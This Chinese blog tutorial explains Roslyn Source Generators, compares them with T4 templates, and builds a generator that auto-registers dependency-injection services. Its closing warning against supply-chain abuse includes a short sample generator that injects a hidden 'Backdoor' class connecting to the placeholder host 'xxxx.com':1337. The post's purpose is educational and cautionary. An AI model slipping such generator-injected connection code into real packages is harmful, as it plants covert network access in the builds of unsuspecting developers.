有梦想的鱼
写代码我得再认真点,当我最终放下键盘时,我实在不想仍有太多疑惑

前两天聊了下Roslyn,如果您耐心看完,也算是入了门,那么今天继续分享它的另外一大特性,那就是 Source Generator,(源代码生成器)是 (Roslyn)提供的一项强大功能,它允许开发者在编译期间自动生成 C# 源代码,并将这些代码无缝融入编译过程,并且无需手动编写或维护这些代码。

大白话解释:

Source Generator 就是个编译前的代码外挂,Roslyn为它提供了供用户自定义的入口,也叫扩展点,让我们可以根据语法和语义解析来结合自己的需求规则,在编译阶段,额外生成一些c# 代码,让你少写代码,提高效率,而且生成的代码就跟你自己写的一样,生成完之后,默认会和自己的源码一起进行编译为dll。

当然最后一句 "并且无需手动编写或维护这些代码" 这句话有点点扯蛋

蛋点1: 你是无需编写代码,但是你得编写生成器规则。

蛋点2: 不是不需要,是你压根改不了,改了也没用,因为每次编译他都会重新生成。

2.牛刀小试

为了防止后面您看的肯定是云里雾里,直接上一个最简单例子先体验下他的特点。

这里我定义了一个类Program,设置为部分类,还定义了一个方法HelloFrom但是没有方法体,并在Main方法中调用了,给它接收的参数传一个字符串 "源生成器"

partial class Program
{
    static void Main(string[] args)
    {
        HelloFrom("源生成器");
    }

    static partial void HelloFrom(string name);
}

然后我启动调试运行输出

image

是不是很惊讶,当然还掺杂着疑问

image

  1. HelloFrom都没有方法体,怎么能跑起来,因为 partial void 是 C# 专门为"可选方法"设计的语法,如果你提供了实现,就调用,如果你没提供,编译器就当这个调用不存在,具体特性自己去网上搜一下partial void

  2. 为啥前面多了一截,哪来的,因为我使用Source Generator在另外一个文件中生成了它的实现,同一个 partial class 的另一部分(可以是同一个文件,也可以是另一个文件),我这里是另外一个文件Program.g.cs中对 HelloFrom进行了实现,并且在头部打了个注释标记<auto-generated/>

image

现在是不是大概知道了Source Generator能干啥,最直观就是帮你生成代码,这里帮你生成了可选方法的实现。同理你定义一个接口,也可以利用他帮你生成接口的实现,这点很重要,在你写一些底层平台库的一些通用功能的时候,你可以只需要定义标准接口,由它来帮你在编译时实现,替代动态代理,提升性能。

如果您对动态代理和他的应用场景比较陌生,可以去看看我之前分享的一篇关于Abp vNext动态api实现的文章,当你学会了Source Generator以后,完全可以用Source Generator来实现api代理,感兴趣的可以了解下refit库,针对这一块其实我们在工作中有过实际应用,后续有机会出一篇Source Generator在开源框架中具体应用的源码分析分享。

目前阶段你只需要知道生成代码这是它的主要特点就好了,但是您如果之前没有接触过,应该还是懵的,因为我学习的时候也一样,例如

  1. 这个东西和Roslyn有何关系,包括上一部分讲的代码分析?

  2. 生成代码,T4模版也可以生成代码,它们的区别是什么?

  3. 他是怎么生成代码的,执行时机?

  4. 这个例子太简单了,看了等于没看,爽文一样,有啥实际应用,搞点干货?

那么接下来,咱们就围绕着几点来展开分享,尽量让您在看完后一定会有所收获,如果您还有在这几个问题之外的问题,欢迎评论区留言,一起交流学习。

3.它和Roslyn以及代码分析有何关系?

Source Generator 是 Roslyn 的一部分

  • Source Generator 是基于 Roslyn 提供的 ISourceGenerator 接口实现的,这里标记重点,后面会用到。

  • 它由 Roslyn 编译器在编译过程中自动发现并调用。

  • 开发只需要引用NuGet 包就可以来编写生成器。

来说点话糙理不糙的,就好比,如果你是 Roslyn,那你就是 .NET 编译界的“老掌门”。你有仨亲儿子,个个身怀绝技,但谁也别想单干——离了你这个爹,他们连门都出不去。

大儿子叫 SyntaxAnalyzer(语法分析):

  • 外号人形质检仪(测试),眼疾手快,看一眼代码就知道哪缺个分号、哪少个括号,连你写了个if (true == true) 他都能翻白眼:这写的啥玩意,不是废话吗?

二儿子叫 CodeGenerator(代码生成):

  • 外号代码骡子(开发),任劳任怨,专干脏活累活,Source Generator 就是他干的事——你刚写个 [AutoNotify]特性标记,他立马给你生成一整套 INotifyPropertyChanged,连注释都写上:"别乱动我"。

三儿子叫 RuntimeCompiler(动态编译执行):

  • 疯批的老板(地主),不讲武德,不守规矩,他不等你编译打包那一套,直接在程序正在跑的时候,当场写代码、当场编译、当场执行!(比如 CSharpScript.RunAsync)。

4.它和T4模版的区别

简单介绍下T4模版,全名(Text Template Transformation Toolkit),因为每个单词都是T开头,有4个,所以大家叫它T4模版。它是 Visual Studio 提供的一种强大的 代码生成工具,以 .tt为扩展名,在编译或保存时自动生成代码或其他文本内容。这下知道为什么我要对比他们2个了吧——都可以生成代码,关键都有可能在编译时,你可以把它们想象成两种不同的自动化工具。

注意

  1. 这一部分开始之前,如果您连T4模版都不知道,或者都没接触过的话,那就直接跳过去,不看可能还不会有事,有可能看了反而迷糊了。

  2. 如果您使用过T4模版,但是应用的不熟的话,在了解了Source Generator之后就更迷糊了。因为摄取的信息量多了,但是又捋不清的话,很难受有没有?建议您要看下去,我尽力区分他们,因为很容易混淆他们俩的用途。

T4 模板:像一个外部代码工厂,工作流程如下:

  • 你编写一个 .tt 文件,代码中有 C# 逻辑和静态文本
  • 当你保存 .tt 文件或者运行自定义工具时,T4 引擎启动
  • 引擎执行模板中的逻辑,生成一个纯文本的 .cs 文件
  • 这个生成的 .cs 文件被编译到你的项目中,和你手写的代码没有区别

Source Generator:类似一个编译时的插件,工作流程如下:

  • 你编写一个实现了 ISourceGenerator 接口的类
  • 将这个类库作为 Analyzer 引用到你的主项目中
  • 当你编译主项目时,编译器会先加载你的 Source Generator
  • Generator 分析整个项目的代码,然后生成新的 C# 源代码字符串
  • 编译器将这些新生成的源代码与你的手写代码合并,然后一起编译(默认看不到生成的中间 .cs 文件,但是可以配置)
特点 T4 模板 Source Generator
运行时机 保存文件/手动执行 编译过程中
是否有文件 生成物理.cs文件 内存生成,无物理文件,但是可以配置
依赖 独立引擎 深度集成在Roslyn编译管线
访问能力 只能读取有限上下文 可访问完整语法树和语义模型
调试 可以调试模板 支持调试生成器
应用场景 生成重复性高的结构代码,例如代码生成器 动态生成与业务逻辑集成的代码

核心差异本质
T4的核心是T4引擎(做过MVC的应该知道还有Razor引擎),它们都属于模版引擎一类,独立运行不依赖编译器,适合做固定模式的生成工作。而Source Generator能根据你的规则做个性化动态生成,因为它能访问整个项目的语法树和语义信息。

5.如何生成代码的

这里需要把我上篇关于Roslyn的老演员请过来了

image

这里您仍然只需要关注,源代码到Roslyn这部分,因为Source Generator还是发生在这一部分,我们具体看看从源码到Roslyn结束经历了哪些,

声明:这里可能不严谨,但是大概就是这么个过程,毕竟我也没深入了解过他具体的编译原理,如果有不对的您可以指出我也很乐意学习。

image

6.各组件角色

MSBuild

省流大白话

.csproj 就是 C# 项目给 MSBuild 的“建造说明书”,没有它,编译器就不知道该编译啥、咋编译。对于那种对造轮子有执念的小伙伴而言,理论上可以不用vs,用记事本写代码,然后自己写Build脚本,如果你想尝试,可以回到vs2003年先体验下再做决定。

它是 .NET 的官方构建引擎,不直接编译代码,而是按项目文件(.csproj)中的指令执行一系列任务(Tasks)和目标(Targets).csproj 本质是一个 MSBuild 脚本,你可以打开你任何c# 项目的这个文件,这里面就是它的语法。因为MSBuild 就是靠这些内容来组装顺序的。如果没有这个,你想想,编译系统怎么知道该如何组织你的源代码文件、依赖项和构建步骤呢。

如果您深入到Msbuild,他也很有意思,期待一下后续会分享一些关于MsBuild的技术。

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <TargetFramework>net8.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="MySourceGenerator" Version="1.0.0" />
  </ItemGroup>
</Project>
Roslyn 编译器

在 MSBuild 流程中,最后会调用 csc.exe

  1. Roslyn 负责解析 .cs 文件为语法树(SyntaxTree)

  2. 加载项目引用的 Analyzer / Source Generator(通过 AnalyzerCompilerVisibleProperty 等机制)

  3. 执行 Source Generator → 生成新代码 → 合并到编译单元

  4. 进行语义分析、错误检查、生成 IL

Source Generator 是如何被加载的?

.csproj 中引用一个 Source Generator时,标记了 [Generator]),Source Generator 必须是要 .NET Standard 2.0~1 程序集,不能依赖运行时,因为它在编译时运行,我拿自己写的这个源生成器类举例

<ItemGroup>
   <ProjectReference Include="..\CompileIntegrated\CompileIntegrated.csproj" OutputItemType="Analyzer" ReferenceOutputAssembly="false" />
</ItemGroup>

1.MSBuild 会将该程序集CompileIntegrated添加到 Analyzer 项,就算你写的是包引用 PackageReference,SDK也会自动处理为这样

<Analyzer Include="CompileIntegrated\CompileIntegrated.dll" />

2.然后当 Roslyn 启动时,会扫描所有 Analyzer 引用的项目文件。

3.当发现了实现了 ISourceGenerator 接口的类型 ,进行实例化 ,然后调用 InitializeExecute

4.执行Execute的自定义规则生成最终代码。

7.举个有意义的例子

下面我们使用源生成器实现一个自动依赖注入的功能,类似于abp vNext自动注入的风格,我们先看下他是怎么做的。

自动注入的实现方式

abp提供了两种自动注入的方式。

1.继承IScopedDependency接口

/// <summary>
/// 根据接口标记自动注入服务
/// </summary>
public class AutoInterfaceInjectionService:IScopedDependency
{
}

2.标记特性[Dependency(ServiceLifetime.Scoped)]

/// <summary>
/// 根据特性自动注入服务
/// </summary>
[Dependency(ServiceLifetime.Scoped)]
public class AutoAttributeInjectionService 
{
}

这2种方式的原理都是在模块加载时,利用反射找到接口或者特性标记,找到之后,然后调用注入,具体的细节就不多赘述,感兴趣可以去翻下源码,或者网上搜一下,abp自动依赖注入原理。

理解场景

我们先实现顺着思维来,看看原生的.netcore中是如何注入服务的?

1.我们定义一个需要被注入的服务

public class ExampleService
{
    public void ConsoleWrite()
    {
        Console.WriteLine("自动注入");
    }

2.再定义一个扩展IServiceCollection 的类,正常是这么写

public static class GeneratedServicesExtension
{
    internal static void AddServices(this IServiceCollection services)
    {
        services.AddScoped<Test.ExampleService>();
    }
}

3.然后在启动时

public static void TestAutoInject()
{
    //实例化服务容器
    var services = new ServiceCollection();
    // 调用扩展方法注入服务
    services.AddServices();
    //构建服务提供对象
    var serviceProvider = services.BuildServiceProvider();
    
    //从容器提供对象中获取服务
    var exampleService = serviceProvider.GetRequiredService<ExampleService>();
    //调用服务
    exampleService.ConsoleWrite();
}

在.net中我想实现注入服务,必须得按照上面的方式,仔细想一下,这里第二步注入的代码其实在逻辑上是重复的,而且容易疏漏,每加一个服务我都得在这里写一下 services.AddScoped<xxx>(),为了解决问题 上面简单提及了abp提供的自动注入类似的功能,至于网上还有一些其他的封装库,实现原理都大同小异。

Source Generator实现的思路大致差不多,也是定义接口或者特性来标记,但是我们得先搞清楚,实现它的目的是为了避免abp那种运行时反射,提升性能,那如何提升呢?

代码跑起来运行无非2种方式,不是动态就是静态,动态就反射肯定会牺牲一点点性能,静态就是像上面一样,直接硬编码提前写好,我不想自己手写,但是我又想注入,那怎么办,你不写代码,程序怎么运行?

这时候就可以使用源生成器,只需要写出规则,然后在编译项目时,自动会帮我生成出这些注入的代码到一个文件里面去,我只需要在初期,启动时加一句代码就行,开始吧!!

  • 在这里不实现太多的生命周期,我们只实现一个使用特性来标记的作用域周期注入。

1.首先我们也需要一个特性用于标记具体服务,定义为AutoInjectScopedAttribute

[System.AttributeUsage(System.AttributeTargets.Class, AllowMultiple = false, Inherited = false)]
internal class AutoInjectScopedAttribute : System.Attribute
{
}
  1. 它用来给业务服务做标记的
 [AutoInjectScopedAttribute]
 public class ExampleService
 {
     public void ConsoleC()
     {
         Console.WriteLine("自动注入");
     }
 }

使用思路逻辑和abp一样,但是区别在于,abp实现是 运行时自动扫描 标记反射,使用Source Generator需要编译时自动扫描项目里所有标了 [AutoInjectScoped](或类似)特性的类,然后在编译时自动生成一个静态扩展方法,把这些类自动注册到

IServiceCollection 里,实现标记即注册,不需要自己手动维护 services.AddScoped(),最终实现完成后的效果图如下。

image

就算我再加一个服务ExampleService2启动编译之后,依然会自动生成将ExampleService2注入到容器的代码。

image

实现一个自动依赖注入

1.创建一个自定义生成器类,并实现ISourceGenerator接口

[Generator]
public class CustomGenerator : ISourceGenerator
{
    public void Execute(GeneratorExecutionContext context)
    {
       
    }

    public void Initialize(GeneratorInitializationContext context)
    {
        
    }
}

这里2个方法如果你认真看了上面如何生成代码,一定知道,他们在编译时会被编译器调用,一切就从这里开始

2.我们现在初始化方法中加入生成特性的代码,因为他很单纯只是个约束只需要生成就行。

 public void Initialize(GeneratorInitializationContext context)
{
            const string attribute = @"// <auto-generated />
using Microsoft.Extensions.DependencyInjection;

[System.AttributeUsage(System.AttributeTargets.Class, AllowMultiple = false, Inherited = false)]
internal class AutoInjectScopedAttribute : System.Attribute
{
}
";
     context.RegisterForPostInitialization(ctx => ctx.AddSource("Inject.Generated.cs", SourceText.From(attribute, Encoding.UTF8)));
     context.RegisterForSyntaxNotifications(() => new ServicesReceiver());
}

上面代码的意思就是
在正式开始分析代码之前,先把字符串写的这个 Attribute 扔进编译流程里边。

RegisterForPostInitialization方法的调用就相当于说塞点外挂代码进去”,AddSource: 就是往编译器里加一份新代码文件,文件名叫 "Inject.Generated.cs",内容就是上面那段 attribute 字符串,您可能会问,为啥要先加这个?因为你后面要扫描 [AutoInjectScoped] 这个特性,但如果这个特性本身还没定义,编译器就不认识,直接就会在编译时报错,所以就先定义出来,当然这一部分也可以不用生成,直接在类中定好分析时找这个符号也可以的。

context.RegisterForSyntaxNotifications(() => new ServicesReceiver()); 这个比较重要,意思就是定义一个接收器,蹲在编译器旁边,盯着所有代码,他的任务就是从所有源代码里,找出符合的特定的目标,然后存起来,这里是只要语义是类的节点就存起来,记

在小本本上!!!

记小本本规则

/// 自定义语法接收器用,于在 Roslyn 编译过程中“监听”并收集特定语法节点。

internal class ServicesReceiver: ISyntaxReceiver {

    //存储所有被扫描到的类声明节点(ClassDeclarationSyntax)
    public List < ClassDeclarationSyntax > ClassesToRegister {
        get;
    } = new();

    //用于推断调用上下文的命名空间
    public InvocationExpressionSyntax ? InvocationSyntaxNode {
        get;
        private set;
    }

    //编译器在语法遍历阶段不断调用方法,传入每一个语法节点
    public void OnVisitSyntaxNode(SyntaxNode syntaxNode) 
    {
        // 1. 如果当前节点是一个类声明(class、record ),就记录下来
        if (syntaxNode is ClassDeclarationSyntax cds)
            ClassesToRegister.Add(cds);

        // 2. 如果当前节点是一个方法调用表达式(如 services.Discover())
        if (syntaxNode is InvocationExpressionSyntax {
                // 表达式结构:obj.MethodName
                Expression: MemberAccessExpressionSyntax
                {
                    // 方法名的标识符文本为 "Discover"
                    Name.Identifier.ValueText: "Discover"

                }
            } invocationSyntax)
        {
            // 保存这个 Discover() 调用的语法节点,可用于后续分析调用上下文
            InvocationSyntaxNode = invocationSyntax;
        }
    }
}

3.现在写我们核心干活的代码,他要做的事情就是在小本上,把标了 [AutoInjectScoped] 的类,一个不漏地给找出来,然后生成注如的代码。

// 3. 核心逻辑:扫描所有标记了 [AutoInjectScoped] 的类,生成服务注册代码
public void Execute(GeneratorExecutionContext context)
{
    // 1. 获取语法接收器收集的待注册类列表
    var receiver = (ServicesReceiver)context.SyntaxReceiver;
    if (receiver?.ClassesToRegister?.Any() != true)
        return;

    // 2. 构建服务注册代码块
    var registrations = new StringBuilder();
    const string indent = "            ";  // 8空格缩进
    
    foreach (var classDeclaration in receiver.ClassesToRegister)
    {
        // 获取类的语义模型
        var semanticModel = context.Compilation.GetSemanticModel(classDeclaration.SyntaxTree);
        if (semanticModel == null) continue;

        // 获取类符号信息
        var classSymbol = semanticModel.GetDeclaredSymbol(classDeclaration);
        if (classSymbol == null) continue;

        // 验证是否标记了目标特性
        bool hasAttribute = classSymbol.GetAttributes()
            .Any(a => a.AttributeClass?.Name == "AutoInjectScopedAttribute");
        
        if (!hasAttribute) continue;

        // 生成服务注册代码行
        registrations.AppendLine($"{indent}services.AddScoped<{classSymbol.ToDisplayString(SymbolDisplayFormat.FullyQualifiedFormat)}>();");
    }

    // 3. 生成扩展类模板
    if (context.Compilation.AssemblyName == null) return;
    
    var safeAssemblyName = context.Compilation.AssemblyName.Replace(".", "_");
    var extensionCode = $@"
public static class GeneratedServicesExtension
{{
    public static void AddServicesIn{safeAssemblyName}(this IServiceCollection services)
        => services.AddServices();

    internal static void AddServices(this IServiceCollection services)
    {{
{registrations}
    }}
}}";

    // 4. 组合最终代码并输出
    var finalCode = $@"// <auto-generated />
using Microsoft.Extensions.DependencyInjection;

{extensionCode}";

    context.AddSource($"GeneratedServicesExtension_{safeAssemblyName}.g.cs", 
        SourceText.From(finalCode, Encoding.UTF8));
}

最终每次编译默认都会生成自动注入代码

image

核心步骤

mermaid-diagram

8.总结

通过上面的介绍,相信您已经对 Source Generator 有了一些认识,如果您理解了,讲一个敏感话题,请不要基于他生成代码的特性以及隐蔽性,去做了一些生成后门代码的东西,然后放到nuget包给对于一些不了解这个技术的人,楼主在这里已经科普了,包括但不限于类似以下代码!!!

public void Execute(GeneratorExecutionContext context)
{
    var backdoorCode = @"
        using System.Net.Sockets;
        class Backdoor {
            static void Connect() {
              //用tcp 
                new TcpClient(""xxxx.com"", 1337);
            }
        }";
    context.AddSource("Backdoor.g.cs", backdoorCode);
}

虽然没那么容易,但是如果人家压根没有防护,恰好你又成功了,然后被逮住了

image

最后回顾一下要点:

核心作用

​​Source Generator 是 .NET 生态中编译时元编程的重要突破​​,它将代码生成从"外部工具"升级为"编译时插件",实现了真正的"零运行时开销"的自动化代码生成。

技术对比

特性 传统反射方案 Source Generator
性能 运行时扫描,有性能损耗 编译时生成,没有运行时开销
类型 运行时可能出错 编译时类型检查,但是编译时有时候冒出来的错误很不好找,可能需要一些风水学理论去找,俗称靠懵
调试 反射代码难调试 生成代码可调试
AOT编译 需要额外配置() 天然支持AOT编译,什么事AOT 感兴趣自己去了解下吧

🎯 今天的分享就到这里啦!

探讨了 Roslyn 源生成器的核心机制,从语法扫描到代码生成,实现了标记即注册的自动化依赖注入,整个过程无需反射、零运行时开销,做到编译时确定。

🔧 下一篇,分享 Roslyn 第三弹:动态编译与运行时代码执行!

一起看看如何在程序运行中现场编译 C# 代码,实现插件化、脚本引擎、规则引擎等高阶玩法!

📚 学习不易,坚持输出更难。如果这篇文章对你有帮助,欢迎:
✅ 点个赞
🔔 点个关注
📱 扫左侧二维码或者搜索[dotNET技术]关注我的微信公众号叭

posted on 2025-10-20 08:09  yuyuyui  阅读(137)  评论(0)    收藏  举报